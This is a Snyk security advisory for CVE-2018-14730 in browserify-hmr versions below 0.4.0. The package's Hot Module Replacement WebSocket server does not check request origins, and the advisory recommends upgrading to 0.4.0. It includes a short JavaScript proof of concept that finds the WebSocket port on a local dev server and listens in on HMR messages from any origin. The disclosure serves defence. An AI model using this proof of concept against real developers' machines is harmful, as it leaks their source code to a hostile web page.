Access Restriction Bypass Affecting browserify-hmr package, versions <0.4.0
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.43% (76th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-BROWSERIFYHMR-173684
- published 13 Feb 2019
- disclosed 21 Sep 2018
- credit chromium1337
Introduced: 21 Sep 2018
CVE-2018-14730 Open this link in a new tabHow to fix?
Upgrade browserify-hmr
to version 0.4.0 or higher.
Overview
browserify-hmr is an implementation of Webpack's Hot Module Replacement API as a plugin for Browserify.
Affected versions of this package are vulnerable to Access Restriction Bypass. The origin of requests was not checked by the WebSocket
server, which is used for HMR (Hot Module Replacement). Anyone could receive the HMR
message sent by the WebSocket
server via a ws://127.0.0.1:3123/
connection from any origin.
POC
let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:1234');
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
var ws;
fetch(target).then(r => {
r.text().then(r => {
let scriptSrc = r.match(/<script src=\"(.*?)\"><\/script>/)[1];
fetch(`${target}${scriptSrc}`).then(r => {
r.text().then(r => {
let wsPort = r.match(/new WebSocket.*?(\d{4,5})/)[1];
wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
console.log(event.data)
};
})
})
})
});
References
CVSS Scores
version 3.1